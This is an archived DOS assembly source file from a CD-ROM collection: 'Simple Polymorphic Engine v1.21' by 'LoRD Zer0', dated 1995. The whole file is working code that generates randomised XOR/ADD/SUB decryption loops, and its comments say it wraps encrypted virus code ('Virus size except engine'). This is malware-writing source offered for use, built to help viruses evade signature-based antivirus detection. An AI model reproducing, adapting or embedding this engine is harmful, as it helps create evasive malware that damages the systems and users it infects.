home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / SPE.ZIP / SPE_V121.ZIP / SPE.ASM < prev   
Encoding:
Assembly Source File  |  1995-04-16  |  5.1 KB  |  300 lines

  1. _Mov_reg    =    0b8h
  2. _common        =    80h
  3. _xor        =    30h
  4. _add        =    0h
  5. _sub        =    28h
  6. _inc        =    40h
  7. _dec        =    48h
  8. _bxsi        =    0
  9. _bxdi        =    1
  10. _bpsi        =    2
  11. _bpdi        =    3
  12. _si        =    4
  13. _di        =    5
  14. _word        =    6
  15. _bx        =    7
  16.  
  17. _ax    =    0
  18. _cx    =    1
  19. _dx    =    2
  20. _bx    =    3
  21. _sp    =    4
  22. _bp    =    5
  23. _si    =    6
  24. _di    =    7
  25.     .MoDEL TiNY
  26.     .RADiX 16
  27.     .CoDE
  28.     org    100
  29.     Public    Engine
  30. Start:
  31. ;
  32. ;    LoRD Zer0's Simple Polymorphic Engine (SPe) v1.21
  33. ;    (C) Copyright 1994-95.
  34. ;
  35. ; The Engine is 419 bytes big. You need to encrypt your own code. It's not
  36. ; made by the engine.
  37. ;
  38. ; Entry:
  39. ; SI = offset to place decrypt loop in the file.
  40. ; ES:DI = offset of where to put new decrypt rutine
  41. ; CX = Virus size except engine
  42. ;
  43. ; Return:
  44. ; CX = Size
  45. ; AL = Key
  46. ; AH = 30h=XOR,00=ADD,28h=SUB
  47. ; DI = Pointer to buffer + CX
  48. ; DX = Total Size of Code to get Encrypted
  49. ; NOTE: Every register is DESTROYED!
  50. ;
  51. ; To creat:
  52.  
  53. Engine    proc    far
  54.     call    begin
  55. begin:    pop    bp
  56.     sub    bp,offset begin
  57.     push    cs
  58.     pop    ds
  59. not_sp:
  60.     call    rnd_get
  61.     and    al,7        ; 0-7
  62.     cmp    al,_sp        ; It may cause problem with the stack if I may
  63.     je    not_sp        ; Use SP.
  64.  
  65.     mov    [V_size+bp],cx
  66.     mov    [set_reg+bp],0
  67.     mov    [Counter+bp],al
  68.     cmp    al,_cx
  69.     jne    add_me
  70.     mov    [_cx_used+bp],ah
  71.     test    ah,1
  72.     jz    oki
  73. add_me:
  74.     inc    si
  75. oki:
  76.     call    rnd_get
  77.     test    al,1
  78.     jnz    not_reg        ; Put the counter Later
  79.     call    put_reg        ; Put it now.
  80. not_reg:
  81. new:
  82.     call    rnd_get
  83.     and    al,7        ;0-7
  84.     cmp    al,6        ;We don't want to use xor byte ptr [offset],??
  85.     je    new
  86.  
  87.     cmp    al,7        ; [BX]
  88.     je    _7
  89.     cmp    al,1        ; [BX+DI]
  90.     je    _1
  91.     cmp    al,2        ; [BP+SI]
  92.     je    _2
  93.     cmp    al,3        ; [BP+DI]
  94.     je    _3
  95.     cmp    al,4        ; [SI]
  96.     je    _4
  97.     cmp    al,5        ; [DI]
  98.     je    _5
  99. _0:
  100.     mov    dx,0603h    ;bx, si
  101.     xor    cl,cl        ;[bx+si]
  102.     jmp    double_xor
  103. _1:
  104.     mov    dx,0703h    ;bx, di
  105.     mov    cl,1        ;[bx+di]
  106.     jmp    double_xor
  107. _3:
  108.     mov    dx,0705h    ;bp, si
  109.     mov    cl,3        ;[bp+di]
  110.     jmp    double_xor
  111. _4:
  112.     mov    dx,0406h    ;num 4 si
  113.     jmp    single_xor
  114. _5:
  115.     mov    dx,0507h    ;num 5 di
  116.     jmp    single_xor
  117. _7:
  118.     mov    dx,0703h    ;num 7 bx
  119.     jmp    single_xor
  120. _2:
  121.     mov    dx,0605h    ;bp, si
  122.     mov    cl,2        ;[bp+si]
  123. double_xor:
  124.     cmp    [Counter+bp],dl    ; The reg is already in use as the Counter
  125.     je    new        ; Jump back and get a new pointer.
  126.     cmp    [Counter+bp],dh    ; The reg is already in use as the Counter
  127.     je    new        ; Jump back and get a new pointer.
  128.  
  129.     mov    al,_mov_reg    ; 0B8h    the begining of MOV REG,????
  130.     add    al,dl        ; 
  131.     stosb            ; Save it.
  132.     add    si,0f
  133. ; The offset Top of encrypted code
  134. ;     mov    ??,????h    ;3 bytes
  135. ;     mov    ??,????h    ;3 bytes
  136. ;     mov    ??,????h    ;3 bytes
  137. ; Xor_it:
  138. ;     ???    byte ptr [??+??],??    ;3 byte
  139. ;     inc    ??        ;1 byte
  140. ;    Loop    xor_it        ;2 bytes or
  141. ;     dec    ??        ;1 byte
  142. ;     jnz    xorit        ;2 bytes
  143. Split_it:
  144.     call    rnd_get        ; Get random number
  145.     xor    ah,ah        ; 0 - 255
  146.  
  147. ; This rutine is used to Split the toec address
  148.  
  149.     sub    si,ax        ; Split
  150.     xchg    si,ax        ; get it in AX
  151.     stosw            ; Save the first value.            
  152.     mov    al,dh        ; Get next REG to use
  153.     add    al,_mov_reg
  154.     stosb            ; second reg to use. 
  155.     xchg    si,ax        ; Get it in AX
  156.     stosw            ; Save the second pointer
  157.     call    put_reg        ; Put Counter if we havn't done it already.
  158.     call    choose_byte
  159.  
  160.     add    ah,cl
  161.     mov    al,80        ; 80 = ??? BYTE PTR [???],byte
  162.     stosw            ; Save
  163. new_num:
  164.     call    rnd_get
  165.     cmp    al,0
  166.     je    new_num        
  167. ; Used to get a encrypt Value..
  168.     mov    [key+bp],al    ; Save the key.
  169.     stosb
  170.     mov    cx,0Fh        ; decrypt code Size
  171.  
  172.     mov    al,_inc
  173.     test    ah,1
  174.     jnz    not_this
  175.     add    al,dl
  176.     jmp    _don
  177. not_this:
  178.     add    al,dh
  179. _don:
  180.     stosb
  181.     cmp    [Counter+bp],_cx
  182.     jne    easy
  183.     test    [_cx_used+bp],1        ; is cx used ?
  184.     jnz    easy
  185.     mov    ax,0FAE2h        ;Loop $-6
  186.     jmp    _done
  187. easy:
  188.     mov    al,_dec
  189.     add    al,[Counter+bp]
  190.     stosb
  191.     inc    cx            ; there is one byte more
  192.     mov    ax,0F975h        ;JNZ $-7
  193. _done:
  194.     stosw
  195.     mov    al,[key+bp]
  196.     mov    ah,[what+bp]
  197.     mov    dx,[V_size+bp]
  198.     add    dx,Engine_size
  199.     retn
  200.     db    'SPe v1.21 by LoRD Zer0',0
  201. single_xor:
  202.     cmp    [Counter+bp],dl
  203.     jne    newa
  204.     jmp    new
  205. newa:
  206.     mov    al,_mov_reg
  207.     add    al,dl
  208.     stosb
  209.     add    si,0c
  210.     xchg    si,ax
  211.     stosw
  212.     call    put_reg
  213.     call    choose_byte
  214.     add    ah,dh
  215.     mov    al,80        ;xor byte ptr [di]
  216.     stosw
  217.     call    rnd_get
  218.     mov    [key+bp],al
  219.     stosb
  220.  
  221.     mov    cx,0c
  222.  
  223.     mov    al,_inc
  224.     add    al,dl
  225.     jmp    _don
  226. ; Choose either ADD,SUB or XOR
  227. choose_byte:
  228.     push    dx
  229.     push    ax
  230.     call    rnd_get
  231.     xchg    ax,dx
  232.     pop    ax
  233.     test    dl,00000001b
  234.     jz    mabye_add
  235.     mov    ah,28        ; 28 = SUB 
  236.     jmp    doo
  237. mabye_add:
  238.     test    dl,00000010b
  239.     jz    do_xor
  240.     xor    ah,ah
  241.     jmp    doo
  242. do_xor:
  243.     mov    ah,30        ; 30+CL = xor [??+??]
  244. doo:
  245.     mov    [bp+what],ah
  246.     pop    dx
  247.     retn
  248. ; Put Counter reg.
  249. ; Entry: None
  250. ; Return: None
  251.  
  252. put_reg:
  253.     push    dx
  254.     push    cx
  255.     cmp    [set_reg+bp],0
  256.     jne    done_reg
  257.     call    rnd_get
  258.     xchg    dx,ax
  259.     mov    al,_mov_reg
  260.     add    al,[Counter+bp]
  261.     stosb
  262.     db    0B8h    ;MOV AX,
  263. V_size    dw    0    ;Main _virus Size
  264.  
  265.     add    ax,Engine_size
  266.     and    dh,2    ;dx 0 -1023
  267.     add    ax,dx
  268.     stosw
  269.     mov    [set_reg+bp],'0'
  270. done_reg:
  271.     pop    cx
  272.     pop    dx
  273.     retn
  274.  
  275. ; Get Random Number
  276. ; Entry: None
  277. ; Return: AX = Random number
  278.  
  279. rnd_get:
  280.     push    cx
  281.     push    dx
  282.     mov    ah,2c
  283.     int    21
  284.     in    al,40
  285.     xchg    ah,al
  286.     in    al,40
  287.     xor    ah,cl
  288.     xor    ax,dx
  289.     pop    dx
  290.     pop    cx
  291.     retn
  292. what        db    ?    ; XOR,ADD or SUB
  293. _cx_used    db    ?    ; Check if CX is used
  294. set_reg        db    ?    ; Have we already set Counter reg
  295. key        db    ?    ; Encrypt Key.
  296. Counter        db    ?    ; REG used as counter
  297. Engine_size    equ    $-offset start    ; The size
  298. Engine    endp
  299.     end    start
  300.